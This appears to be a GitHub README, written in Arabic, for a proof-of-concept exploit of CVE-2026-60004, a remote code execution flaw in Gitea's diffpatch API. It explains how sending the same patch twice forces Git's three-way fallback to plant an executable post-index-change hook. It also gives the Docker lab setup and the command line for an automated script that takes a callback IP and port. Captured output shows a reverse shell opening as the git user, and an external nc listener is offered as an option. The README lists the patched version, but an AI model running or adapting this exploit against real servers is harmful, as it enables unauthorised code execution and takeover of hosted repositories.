
Gitea diffpatch RCE
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
CVE-2026-60004 هي ثغرة تنفيذ أوامر عن بُعد (RCE) في Gitea. تطبّق واجهة برمجة التطبيقات
diffpatchتصحيحًا مُرسَلًا باستخدامgit apply --cached، والذي يجب أن يلمس الفهرس فقط ولا يكتب ملفات على القرص أبدًا. من خلال إرسال نفس التصحيح مرتين، يجبر المهاجم حدوث تصادم إضافة/إضافة (add/add) يُفعّل آلية الدمج ثلاثي الاتجاهات (-3) في Git. هذا المسار يتجاهل--cachedويُخرج الملف إلى شجرة العمل. نظرًا لأن النسخة المؤقتة عارية (bare)، فإن جذر شجرة العمل فيها هو$GIT_DIR. لذلك فإن التصحيح الذي يُنشئ خطافًا تنفيذيًا باسمhooks/post-index-changeيُرسي خطاف Git حيًا، والذي يشغّله Git تلقائيًا عند تحديث الفهرس التالي — لتنفيذ أوامر بحساب خدمة Gitea. تتطلب نقطة النهاية صلاحية كتابة في المستودع، لكن التسجيل مُمكَّن افتراضيًا، لذا يمكن لأي مستخدم قادر على التسجيل وإنشاء مستودع الوصول إليها.
| الفئة | الإصدار |
|---|---|
| متأثر | Gitea 1.17 ≤ الإصدار ≤ 1.27.0 |
| مُصحَّح | Gitea 1.27.1 أو أحدث |
git)قم ببناء وتشغيل بيئة Gitea الضعيفة. يُترك التسجيل مفتوحًا ويأتي الخادم مع Git 2.32+،
وهو ما يُفعّل آلية -3 الاحتياطية التي يعتمد عليها الهجوم.
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| الشرط المسبق | الحالة في هذا المختبر |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
Git 2.32+ على الخادم (يُفعّل -3) | 2.54 |
| تسجيل مفتوح | مُمكَّن (افتراضي) |
| صلاحية كتابة في المستودع | عبر حساب مُسجَّل ذاتيًا |
الاستغلال مؤتمت بالكامل بواسطة gitea_exploit.py. بوجود حساب يمكنه إنشاء مستودع،
يقوم بإنشاء المستودع الهدف، وإرسال نفس التصحيح مرارًا حتى تُفعَّل آلية -3 الاحتياطية في Git،
ويلتقط الصدفة العكسية عبر مستمع مدمج — دون أي إعداد يدوي أو صياغة تصحيح أو حسابات تجزئة blob.
# python3 gitea_exploit.py <ip الهدف:المنفذ> <ip الاستدعاء> [منفذ الاستدعاء]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
آلية -3 الاحتياطية لا تُفعَّل إلا في نوافذ توقيت معينة، لذا يكرر السكربت
إنشاء ← إرسال ← إرسال حتى يلتقط الصدفة (25 محاولة افتراضيًا). عندما يتعطل الإرسال،
يكون الخطاف قد اشتعل ويُسقطك المستمع في صدفة بحساب git:
[*] attempt 3/25 -> send#1 201, send#2 timeout <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)
الخيارات:
--no-listen — التقط الصدفة باستخدام nc خارجي خاص بك بدلًا من المستمع المدمج--user / --pw / --repo / --branch — تجاوز الحساب الافتراضي والمستودع الهدفDISABLE_REGISTRATION=true)